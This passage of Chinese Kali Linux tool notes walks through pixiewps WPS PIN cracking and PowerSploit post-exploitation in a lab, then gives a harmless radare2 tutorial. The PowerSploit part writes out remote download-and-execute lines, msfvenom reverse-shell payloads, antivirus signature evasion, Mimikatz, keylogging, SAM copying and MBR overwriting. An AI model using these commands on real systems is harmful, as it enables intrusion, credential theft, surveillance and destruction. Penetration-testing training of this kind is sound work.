-s,--e-hash1
参与者的哈希1,位于M3中。 这是PIN的前半部分的哈希值。

-z,--e-hash2
参与者的哈希2,位于M3中。 这是PIN码后半部分的哈希值。

-a,--authkey
身份验证会话密钥。 尽管此参数需要Reaver或Bully的修改版本,但可以通过在Reaver和pixiewps中指定小的Diffie-Hellman键并提供--e-nonce,-r-nonce和--e-bssid来避免。

-n,--e-nonce
参与者的随机数,位于M1中。

可选参数:

-m,--r-nonce
注册服务商的现时,位于M2中。 与其他参数一起使用以计算会话密钥。

-b,--e-bssid
参与者的BSSID。 与其他参数一起使用以计算会话密钥。

-S,--db-small(不推荐使用)
小Diffie-Hellman键。 还必须在Reaver中指定相同的选项。 某些访问点似乎有故障,并且在此选项下无法正常工作。 尽可能避免与Reaver一起使用。

-v,--verbosity
详细级别1-3,最安静的是1,默认值为3。

-h
显示一个简单的帮助用法屏幕。

--help
显示详细的帮助。

-V,--version
显示版本和其他信息。

--mode N[,

示例:

1
pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce> 

此工具主要是针对wap无线路由器设置的,有两个东西大家需要注意一下,PKE 和 PKR,这两个密钥。有公钥和私钥。

powersploit

描述:

PowerSploit是又一款Post Exploitation相关工具,Post Exploitation是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit其实就是一些powershell 脚本,包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)、Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml获取明文密码)、Invoke- ReverseDnsLookup(扫描 DNS PTR记录)

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
一、AntivirusBypass(绕过杀毒)

Find-AVSignature   发现杀软的签名

二、CodeExecution(代码执行)

1.  Invoke-DllInjection.ps1  DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限

2. Invoke-ReflectivePEInjection.ps1   反射型注入 将Windows PE文件(DLL / EXE)反射加载到powershell进程中,或反射地将DLL注入远程进程

3. Invoke-Shellcode.ps1   将shellcode插入您选择的进程ID或本地PowerShell中

4. Invoke-WmiCommand.ps1  在目标主机使用wmi执行命令

三、Exfiltration(信息收集)    #这个文件夹主要是收集目标主机上的信息

1. Out-Minidump.ps1              生成一个进程的全内存小数据库

2. Get-VaultCredential.ps1 显示Windows徽标凭据对象,包括明文Web凭据

3. Get-Keystrokes.ps1       记录按键,时间和活动窗口

4. Get-GPPPassword.ps1          检索通过组策略首选项推送的帐户的明文密码和其他信息

5. Get-GPPAutologon.ps1        如果通过组策略首选项推送,则从registry.xml检索自动登录用户名和密码

6. Get-TimedScreenshot.ps1    这是一个以定期间隔拍摄屏幕并将其保存到文件夹的功能

7. Invoke-Mimikatz.ps1            查看主机密码

8. Invoke-NinjaCopy.ps1          通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件

9. Invoke-CredentialInjection.ps1    使用明文凭据创建登录,而不会触发可疑事件ID 4648(显式凭证登录)

10. Invoke-TokenManipulation.ps1         列出可用的登录令牌。与其他用户创建进程登录令牌,并模仿当前线程中的登录令牌

11. Get-MicrophoneAudio.ps1        通过麦克风记录声音

12. VolumeShadowCopyTools.ps1         

四、Recon(信息侦察)   #这个文件夹主要是以目标主机为跳板进行内网主机侦察

1. Invoke-Portscan.ps1   端口扫描

2. Get-HttpStatus.ps1      返回指定路径的HTTP状态代码和完整URL,并附带字典文件

3. Invoke-ReverseDnsLookup.ps1  扫描DNS PTR记录的IP地址范围

4. PowerView.ps1       PowerView是一系列执行网络和Windows域枚举和利用的功能

5.Get-ComputerDetails   获得登录信息

五、ScriptModification(脚本修改)

1. Out-EncodedCommand.ps1    将脚本或代码块编码,并为PowerShell有效载荷脚本生成命令行输出

2. Out-EncryptedScript.ps1   加密文本文件/脚本

3. Out-CompressedDll.ps1   压缩,Base-64编码,并输出生成的代码,以将受管理的DLL加载到内存中

4. Remove-Comments.ps1       从脚本中删除注释和多余的空白

六、Persistence(权限维持)

1. New-UserPersistenceOption  为添加持久性函数配置用户级持久性选项。

2. New-ElevatedPersistenceOption   为添加持久性函数配置提升的持久性选项。

3. Add-Persistence    向脚本添加持久性功能

4. Install-SSP        安装安全支持提供程序(ssp)dll

5. Get-SecurityPackages

七、Privesc(提权)

PowerUP: 共同特权升级检查的信息交换所,以及一些武器化载体

Get-System

八、Mayhem

Set-MasterBootRecord   选择的消息覆写主引导记录

Set-CriticalProcess  退出powershell时使系统蓝屏

实例:

一、AntivirusBypass(绕过杀毒)

Find-AVSignature 发现杀软的签名

1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1“)

img

2、运行脚本,这里以之前的msf.exe反弹马为例 注意:本例把偏移量划分的不太合适,有兴趣自己慢慢划分,文件的偏移量范围本例使用winhex查看的。

Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:\Users\Administrator.WIN2008\Desktop\msf.exe -OutPath C:\Users\Administrator.WIN2008\Desktop\test\run2 -Verbose

img

3、 上图生成3个文件,然后把每个文件用在线病毒测试网站测试一下(这里推荐使用http://www.virscan.org/),看看病毒在哪个文件,然后再把有病毒的那个文件继续划分偏移量范围生成新的文件,然后继续再病毒测试网站测试,直到最终确定病毒的特征码范围。

img

img

二、CodeExecution(代码执行)

Shellcode注入:

1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1“)

get-help Invoke-Shellcode

img

2、在kali中使用msfvenom生成一个powershell反弹马

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test

img

3、在msf中设置监听(windows/x64/meterpreter/reverse_https模块进行反弹)并开启监听

use exploit/multi/handler #使用监听模块

set payload windows/x64/meterpreter/reverse_https #设置一个payload

img

img

4、把刚才使用msfvenom生成的powershell脚本复制到靶机(windows 2008)

5、靶机(windows 2008)加载shellcode #注意这里的shellcode为在kali用msfvenom生成的一个powershell脚本,打开内容,取变量$buf的值

Invoke-Shellcode -Shellcode @() #可以查看帮助文档,其中有一个例子这个的用法

img

img

6、kali中运行监听之后就可以看到得到靶机(windows 2008)的一个meterpreter的shell,说明成功控制靶机

img

7、也可以把使用Invoke-Shellcode脚本进行进程注入到别的进程(这里以explorer的3508为例)

img

DLL****:

首先我们需要知道我们在启动一个程序的时候并没有把所有的需要用到的数据或者文件运行起来,而是只运行了关键部分,那么当我们需要调用到某一功能时再通过DLL来动态链接,不需要时就可以卸载,使得程序不显得臃肿。

DLL注入就是将代码插入/注入到正在运行的进程中的过程。我们注入的代码是动态链接库(DLL)的形式。为什么可以做到这一点?因为DLL是在运行时根据需要来进行加载

注意:对某些进程的注入需要一定的权限

Dll****注入:

可以利用powersploit将dll文件注入到当前进程中,但是dll文件必须在目标主机上。

1.先在靶机(windows 2008)上远程加载位于win7的Invoke-DllInjection.ps1脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1“)

img

2.kali利用msfvenom生成一个dll反弹马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll

img

3.在msf中设置监听(windows/x64/meterpreter/reverse_tcp模块进行反弹)并开启监听

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

img

4.把刚才生成的msf.dll文件拷贝到靶机(windows 2008),然后在windows 2008上运行powershll脚本

Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll

img

5.kali msf中运行监听,就可以看到windows 2008反弹过来一个session

img

6.也可以开启一个隐藏进程并注入dll

img

Invoke-ReflectivePEInjection 反射型PE注入

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-ReflectivePEInjection脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1“)

img

2、kali中利用msfvenom生成一个exe反弹马并对木马进行多次编码

msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe

img

3、在kali msf中设置监听(windows/x64/meterpreter_reverse_tcp)并开启监听

img

4、把在kali中生成的exe木马复制到靶机,在靶机(windows 2008)执行脚本

$PEBytes = [IO.File]::ReadAllBytes(‘C:\Users\Administrator.WIN2008\Desktop\msf.exe’)

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

img

5、这时在kali端就能看到一个windows 2008反弹过来的session

img

三、Recon(信息侦察)

Invoke-Portscan 端口扫描

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Portscan.ps1脚本

img

2、开始端口扫描,这里以扫描一个ip字典为例,别的参数,可以查看帮助文档

img

Invoke-ReverseDnsLookup 反向DNS查询

1、 先在靶机(windows 2008)上远程加载位于win7 Invoke-ReverseDnsLookup脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1“)

img

1、 运行脚本查找特定的ip的主机名,下图可以看到查找ip对应的主机名

Invoke-ReverseDnsLookup “10.10.10.128,10.10.10.183,10.10.10.187” | fl IP,HostName

img

Get-HttpStatus 网站目录检测

1、先在靶机(windows 2008)上远程加载位于win7 Get-HttpStatus脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1“)

img

2、 自己创建一个字典,运行脚本,下图可以看到status状态是ok说明目标存在那个网站目录。

img

Get-ComputerDetails 获得主机登录信息

1、 先在靶机(windows 2008)上远程加载位于win7 Get-ComputerDetails脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1“)

img

2、 运行脚本Get-ComputerDetails,看到如下效果,有报错,不知道什么原因,难道powerspolit大神异常处理没考虑完全?

img

四、Exfiltration(信息收集) #这个文件夹主要是收集目标主机上的信息

Invoke-Mimikatz 查看主机密码(需要管理员权限)

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Mimikatz脚本,并运行脚本查看密码

​ iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1“)

img

Get-Keystrokes 键盘记录(详细的鼠标键盘记录)

1、先在靶机(windows 2008)上远程加载位于win7 Get-Keystrokes脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1“)

img

2、运行Get-Keystrokes,并把记录结果保存到一个文件

img

Invoke-NinjaCopy 超级复制(需要管理员权限,可以复制受保护的运行中的系统文件)

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-NinjaCopy脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1“)

get-help Invoke-NinjaCopy

img

2、运行脚本,把SAM文件复制一份到别处,下图可以看到成功复制一份SAM文件,注意普通复制不能复制系统限制的文件。

Invoke-NinjaCopy -Path “C:\Windows\System32\config\SAM” -LocalDestination “C:\Users\Administrator\Desktop\SAM”

img

3、用普通复制测试一下,看看能否复制SAM文件,下图可以看到普通复制无法复制SAM,因为系统对SAM文件进行保护,只要进程一开启(系统开机自动运行关于SAM文件的进程并且无法停止掉进程),别的程序或者进程就无法访问SAM文件。

img

Get-TimedScreenshot 屏幕记录

1.先在靶机(windows 2008)上远程加载位于win7 Get-TimedScreenshot脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1“)

img

2.运行脚本,在test文件夹中可以看到抓取屏幕的图片

Get-TimedScreenshot -Path c:\test\ -Interval 10 -EndTime 23:20

img

3.Get-MicrophoneAudio 通过麦克风记录声音,与Get-TimedScreenshot(屏幕记录)方法一样,这里不再测试

Invoke-CredentialInjection

1.先在靶机(windows 2008)上远程加载位于win7 Invoke-TokenManipulation脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1“)

img

2.Invoke-TokenManipulation -Enumerate 枚举唯一 可用的令牌 别的例子自己查看帮助

img

五、ScriptModification 脚本修改

Out-CompressedDll 将dll压缩并base64编码

1.先在靶机(windows 2008)上远程加载位于win7 Out-CompressedDll脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1“)

img

2.运行脚本 Out-CompressedDll -FilePath C:\Users\Administrator.WIN2008\Desktop\msf.dll

img

Out-EncodedCommand 将脚本或代码块编码

1.先在靶机(windows 2008)上远程加载位于win7 Out-EncodedCommand脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1”)

img

\2. 脚本块编码

img

3.脚本编码

img

Out-EncryptedScript 脚本加密

1.先在靶机(windows 2008)上远程加载位于win7 Out-EncryptedScript脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1”)

img

2.给脚本加密

img

Remove-Comments 删除注释和不必要的空白符

1.先在靶机(windows 2008)上远程加载位于win7 Remove-Comments脚本

iex(New-Object Net.WebClient).DownloadString(“http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1”)

img

2.运行脚本,删除代码块中的空白和注释以及脚本中的空白和注释

img

六、Mayhem

1.首先查看Mayhem帮助说明文档,可以看到说明文档使用Mayhem模块需要先将Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,然后需要导入模块

img

2.将Mayhem放到相应的位置之后,便开始导入模块,以及查看命令帮助

Import-Module Mayhem

Get-Command -Module Mayhem

img

3.开始使用命令

3.1Set-CriticalProcess 退出powershell时使系统蓝屏

img

3.2退出powershell测试是否蓝屏,下图可以看到蓝屏了

img

3.3 Set-MasterBootRecord 覆写主引导记录,本次实验并没有成功

PowerUp

主要来介绍PowerUp模块,powerUp拥有众多用来寻找目标主机的Windows服务漏洞进行提权的实用脚本,先下载脚本:

IEX(New-Object Net.WebClient).DownloadString(“http://192.168.0.133/PowerSploit/Privesc/PowerUp.ps1“)

img

1.Invoke-AllChecks

该模块会自动执行PowerUp下所有模块来检查目的主机:

img

2.Find-PathDLLHijack

该模块用于检查当前%PATH%的哪些目录是用户可以写入的:

img

3.Get-ServiceDetail

该模块用于返回某服务的信息:

img

proxychains4

代理工具

https://www.cnblogs.com/qjwhy/p/15317856.html

proxytunnel

https://blog.csdn.net/smli_ng/article/details/106177691

ptunnel

https://blog.csdn.net/smli_ng/article/details/106162649

PulseAudio 音量控制

image-20220413232702541

pwnat

描述:

由于网络环境的限制,大部分计算机都不在公网中,而是位于NAT或者防火墙之后。这时,不同NAT之后的计算机通信就受到限制。为了解决这个问题,Kali Linux提供了一个NAT穿透工具pwnat。该工具首先在公网计算机上建立一个服务端。然后,处于NAT后的其他计算机以客户端模式运行,通过连接服务端,就可以互相访问了。使用该工具,渗透测试人员不需要在NAT路由器上进行设置,就实现了NAT穿透,连接其他NAT后的计算机,形成P2P打洞。

太老了 没啥用

参数:

https://blog.csdn.net/fjh1997/article/details/87969274

Q

Qt5 设置

描述:

配置 外观 字体 图标主题 界面 样式表啥的

参数:

image-20220414210821521

QTerminal

描述:

QTerminal是最好的轻量级Linux终端仿真器之一,它有很多很好的特性。您几乎可以更改所有内容,包括颜色、字体、键盘快捷键、键绑定、透明度、书签等等。

  • 它是一个快速响应的下拉式Linux终端仿真器。
  • 支持多路复用。
  • 很多选项可以定制几乎所有的东西。
  • 可以在一个窗口中显示多个终端模拟器。
  • 用户可以水平和垂直拆分QTerminal软件窗口。

参数:

image-20220414211009532

img

QTerminal drop down

描述:

下拉式的Qterminal

R

radare2

描述:

radare2是一款开放源代码的逆向工程平台,它可以反汇编、调试、分析和操作二进制文件。

radare2的主要特点:

  • •Multi-architecture multi-platform
  • •Highly scriptable
  • •Hexadecimal editor
  • •IO is wrapped
  • •Filesystems support
  • •Debugger support
  • •Diffing between two functions or binaries
  • •Code analysis at opcode, basicblock, function levels

示例:

你需要一个样本二进制程序来试用它。你可以使用任何系统二进制文件(lsbash 等),但为了使本教程的内容简单,请编译以下 C 程序:

1
cat adder.c
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int adder(int num) {
return num + 1;
}
int main() {
int res, num1 = 100;
res = adder(num1);
printf("Number now is : %d\n", res);
return 0;
}
1
2
3
4
5
$ gcc adder.c -o adder
$ file adder
adder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9d4366f7160e1ffb46b14466e8e0d70f10de2240, not stripped
$ ./adder
Number now is : 101

加载二进制文件

要分析二进制文件,你必须在 Radare2 中加载它。通过提供文件名作为 r2 命令的一个命令行参数来加载它。你会进入一个独立的 Radare2 控制台,这与你的 shell 不同。要退出控制台,你可以输入 QuitExit 或按 Ctrl+D

1
2
3
4
$ r2 ./adder
-- Learn pancake as if you were radare!
[0x004004b0]> quit
$

分析二进制

在你探索二进制之前,你必须让 r2 为你分析它。你可以通过在 r2 控制台中运行 aaa 命令来实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ r2 ./adder
-- Sorry, radare2 has experienced an internal error.
[0x004004b0]>
[0x004004b0]>
[0x004004b0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004004b0]>

这意味着每次你选择一个二进制文件进行分析时,你必须在加载二进制文件后输入一个额外的命令 aaa。你可以绕过这一点,在命令后面跟上 -A 来调用 r2;这将告诉 r2 为你自动分析二进制:

1
2
3
4
5
6
7
8
9
10
$ r2 -A ./adder
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
-- Already up-to-date.
[0x004004b0]>

获取一些关于二进制的基本信息

在开始分析一个二进制文件之前,你需要一些背景信息。在许多情况下,这可以是二进制文件的格式(ELF、PE 等)、二进制的架构(x86、AMD、ARM 等),以及二进制是 32 位还是 64 位。方便的 r2iI 命令可以提供所需的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[0x004004b0]> iI
arch x86
baddr 0x400000
binsz 14724
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (GNU) 8.3.1 20190507 (Red Hat 8.3.1-4)
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
[0x004004b0]>
[0x004004b0]>

导入和导出

通常情况下,当你知道你要处理的是什么样的文件后,你就想知道二进制程序使用了什么样的标准库函数,或者了解程序的潜在功能。在本教程中的示例 C 程序中,唯一的库函数是 printf,用来打印信息。你可以通过运行 ii 命令看到这一点,它显示了该二进制所有导入的库:

1
2
3
4
5
6
7
8
9
[0x004004b0]> ii
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x00000000 WEAK NOTYPE _ITM_deregisterTMCloneTable
2 0x004004a0 GLOBAL FUNC printf
3 0x00000000 GLOBAL FUNC __libc_start_main
4 0x00000000 WEAK NOTYPE __gmon_start__
5 0x00000000 WEAK NOTYPE _ITM_registerTMCloneTable

该二进制也可以有自己的符号、函数或数据。这些函数通常显示在 Exports 下。这个测试的二进制导出了两个函数:mainadder。其余的函数是在编译阶段,当二进制文件被构建时添加的。加载器需要这些函数来加载二进制文件(现在不用太关心它们):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[0x004004b0]>
[0x004004b0]> iE
[Exports]
nth paddr vaddr bind type size lib name
――――――――――――――――――――――――――――――――――――――――――――――――――――――
82 0x00000650 0x00400650 GLOBAL FUNC 5 __libc_csu_fini
85 ---------- 0x00601024 GLOBAL NOTYPE 0 _edata
86 0x00000658 0x00400658 GLOBAL FUNC 0 _fini
89 0x00001020 0x00601020 GLOBAL NOTYPE 0 __data_start
90 0x00000596 0x00400596 GLOBAL FUNC 15 adder
92 0x00000670 0x00400670 GLOBAL OBJ 0 __dso_handle
93 0x00000668 0x00400668 GLOBAL OBJ 4 _IO_stdin_used
94 0x000005e0 0x004005e0 GLOBAL FUNC 101 __libc_csu_init
95 ---------- 0x00601028 GLOBAL NOTYPE 0 _end
96 0x000004e0 0x004004e0 GLOBAL FUNC 5 _dl_relocate_static_pie
97 0x000004b0 0x004004b0 GLOBAL FUNC 47 _start
98 ---------- 0x00601024 GLOBAL NOTYPE 0 __bss_start
99 0x000005a5 0x004005a5 GLOBAL FUNC 55 main
100 ---------- 0x00601028 GLOBAL OBJ 0 __TMC_END__
102 0x00000468 0x00400468 GLOBAL FUNC 0 _init
[0x004004b0]>

哈希信息

如何知道两个二进制文件是否相似?你不能只是打开一个二进制文件并查看里面的源代码。在大多数情况下,二进制文件的哈希值(md5sum、sha1、sha256)是用来唯一识别它的。你可以使用 it 命令找到二进制的哈希值:

  1. [0x004004b0]> it
  2. md5 7e6732f2b11dec4a0c7612852cede670
  3. sha1 d5fa848c4b53021f6570dd9b18d115595a2290ae
  4. sha256 13dd5a492219dac1443a816ef5f91db8d149e8edbf26f24539c220861769e1c2
  5. [0x004004b0]>

函数

代码按函数分组;要列出二进制中存在的函数,请运行 afl 命令。下面的列表显示了 main 函数和 adder 函数。通常,以 sym.imp 开头的函数是从标准库(这里是 glibc)中导入的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[0x004004b0]> afl
0x004004b0 1 46 entry0
0x004004f0 4 41 -> 34 sym.deregister_tm_clones
0x00400520 4 57 -> 51 sym.register_tm_clones
0x00400560 3 33 -> 32 sym.__do_global_dtors_aux
0x00400590 1 6 entry.init0
0x00400650 1 5 sym.__libc_csu_fini
0x00400658 1 13 sym._fini
0x00400596 1 15 sym.adder
0x004005e0 4 101 loc..annobin_elf_init.c
0x004004e0 1 5 loc..annobin_static_reloc.c
0x004005a5 1 55 main
0x004004a0 1 6 sym.imp.printf
0x00400468 3 27 sym._init
[0x004004b0]>

交叉引用

在 C 语言中,main 函数是一个程序开始执行的地方。理想情况下,其他函数都是从 main 函数调用的,在退出程序时,main 函数会向操作系统返回一个退出状态。这在源代码中是很明显的,然而,二进制程序呢?如何判断 adder 函数的调用位置呢?

你可以使用 axt 命令,后面加上函数名,看看 adder 函数是在哪里调用的;如下图所示,它是从 main 函数中调用的。这就是所谓的交叉引用cross-referencing。但什么调用 main 函数本身呢?从下面的 axt main 可以看出,它是由 entry0 调用的

1
2
3
4
5
6
[0x004004b0]> axt sym.adder
main 0x4005b9 [CALL] call sym.adder
[0x004004b0]>
[0x004004b0]> axt main
entry0 0x4004d1 [DATA] mov rdi, main
[0x004004b0]>

寻找定位

在处理文本文件时,你经常通过引用行号和行或列号在文件内移动;在二进制文件中,你需要使用地址。这些是以 0x 开头的十六进制数字,后面跟着一个地址。要找到你在二进制中的位置,运行 s 命令。要移动到不同的位置,使用 s 命令,后面跟上地址。

函数名就像标签一样,内部用地址表示。如果函数名在二进制中(未剥离的),可以使用函数名后面的 s 命令跳转到一个特定的函数地址。同样,如果你想跳转到二进制的开始,输入 s 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[0x004004b0]> s
0x4004b0
[0x004004b0]>
[0x004004b0]> s main
[0x004005a5]>
[0x004005a5]> s
0x4005a5
[0x004005a5]>
[0x004005a5]> s sym.adder
[0x00400596]>
[0x00400596]> s
0x400596
[0x00400596]>
[0x00400596]> s 0
[0x00000000]>
[0x00000000]> s
0x0
[0x00000000]>

十六进制视图

通常情况下,原始二进制没有意义。在十六进制模式下查看二进制及其等效的 ASCII 表示法会有帮助:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[0x004004b0]> s main
[0x004005a5]>
[0x004005a5]> px
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x004005a5 5548 89e5 4883 ec10 c745 fc64 0000 008b UH..H....E.d....
0x004005b5 45fc 89c7 e8d8 ffff ff89 45f8 8b45 f889 E.........E..E..
0x004005c5 c6bf 7806 4000 b800 0000 00e8 cbfe ffff ..x.@...........
0x004005d5 b800 0000 00c9 c30f 1f40 00f3 0f1e fa41 .........@.....A
0x004005e5 5749 89d7 4156 4989 f641 5541 89fd 4154 WI..AVI..AUA..AT
0x004005f5 4c8d 2504 0820 0055 488d 2d04 0820 0053 L.%.. .UH.-.. .S
0x00400605 4c29 e548 83ec 08e8 57fe ffff 48c1 fd03 L).H....W...H...
0x00400615 741f 31db 0f1f 8000 0000 004c 89fa 4c89 t.1........L..L.
0x00400625 f644 89ef 41ff 14dc 4883 c301 4839 dd75 .D..A...H...H9.u
0x00400635 ea48 83c4 085b 5d41 5c41 5d41 5e41 5fc3 .H...[]A\A]A^A_.
0x00400645 9066 2e0f 1f84 0000 0000 00f3 0f1e fac3 .f..............
0x00400655 0000 00f3 0f1e fa48 83ec 0848 83c4 08c3 .......H...H....
0x00400665 0000 0001 0002 0000 0000 0000 0000 0000 ................
0x00400675 0000 004e 756d 6265 7220 6e6f 7720 6973 ...Number now is
0x00400685 2020 3a20 2564 0a00 0000 0001 1b03 3b44 : %d........;D
0x00400695 0000 0007 0000 0000 feff ff88 0000 0020 ...............
[0x004005a5]>

反汇编

如果你使用的是编译后的二进制文件,则无法查看源代码。编译器将源代码转译成 CPU 可以理解和执行的机器语言指令;其结果就是二进制或可执行文件。然而,你可以查看汇编指令(的助记词)来理解程序正在做什么。例如,如果你想查看 main 函数在做什么,你可以使用 s main 寻找 main 函数的地址,然后运行 pdf 命令来查看反汇编的指令。

要理解汇编指令,你需要参考体系结构手册(这里是 x86),它的应用二进制接口(ABI,或调用惯例),并对堆栈的工作原理有基本的了解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[0x004004b0]> s main
[0x004005a5]>
[0x004005a5]> s
0x4005a5
[0x004005a5]>
[0x004005a5]> pdf
; DATA XREF from entry0 @ 0x4004d1
┌ 55: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_8h @ rbp-0x8
│ ; var int64_t var_4h @ rbp-0x4
│ 0x004005a5 55 push rbp
│ 0x004005a6 4889e5 mov rbp, rsp
│ 0x004005a9 4883ec10 sub rsp, 0x10
│ 0x004005ad c745fc640000. mov dword [var_4h], 0x64 ; 'd' ; 100
│ 0x004005b4 8b45fc mov eax, dword [var_4h]
│ 0x004005b7 89c7 mov edi, eax
│ 0x004005b9 e8d8ffffff call sym.adder
│ 0x004005be 8945f8 mov dword [var_8h], eax
│ 0x004005c1 8b45f8 mov eax, dword [var_8h]
│ 0x004005c4 89c6 mov esi, eax
│ 0x004005c6 bf78064000 mov edi, str.Number_now_is__:__d ; 0x400678 ; "Number now is : %d\n" ; const char *format
│ 0x004005cb b800000000 mov eax, 0
│ 0x004005d0 e8cbfeffff call sym.imp.printf ; int printf(const char *format)
│ 0x004005d5 b800000000 mov eax, 0
│ 0x004005da c9 leave
└ 0x004005db c3 ret
[0x004005a5]>

adder 函数的反汇编结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[0x004005a5]> s sym.adder
[0x00400596]>
[0x00400596]> s
0x400596
[0x00400596]>
[0x00400596]> pdf
; CALL XREF from main @ 0x4005b9
┌ 15: sym.adder (int64_t arg1);
│ ; var int64_t var_4h @ rbp-0x4
│ ; arg int64_t arg1 @ rdi
│ 0x00400596 55 push rbp
│ 0x00400597 4889e5 mov rbp, rsp
│ 0x0040059a 897dfc mov dword [var_4h], edi ; arg1
│ 0x0040059d 8b45fc mov eax, dword [var_4h]
│ 0x004005a0 83c001 add eax, 1
│ 0x004005a3 5d pop rbp
└ 0x004005a4 c3 ret
[0x00400596]>

字符串

查看二进制中存在哪些字符串可以作为二进制分析的起点。字符串是硬编码到二进制中的,通常会提供重要的提示,可以让你将重点转移到分析某些区域。在二进制中运行 iz 命令来列出所有的字符串。这个测试二进制中只有一个硬编码的字符串:

1
2
3
4
5
6
[0x004004b0]> iz
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000678 0x00400678 20 21 .rodata ascii Number now is : %d\n
[0x004004b0]>

交叉引用字符串

1
2
3
4
5
6
[0x004004b0]> ps @ 0x400678
Number now is : %d
[0x004004b0]>
[0x004004b0]> axt 0x400678
main 0x4005c6 [DATA] mov edi, str.Number_now_is__:__d
[0x004004b0]>

可视模式

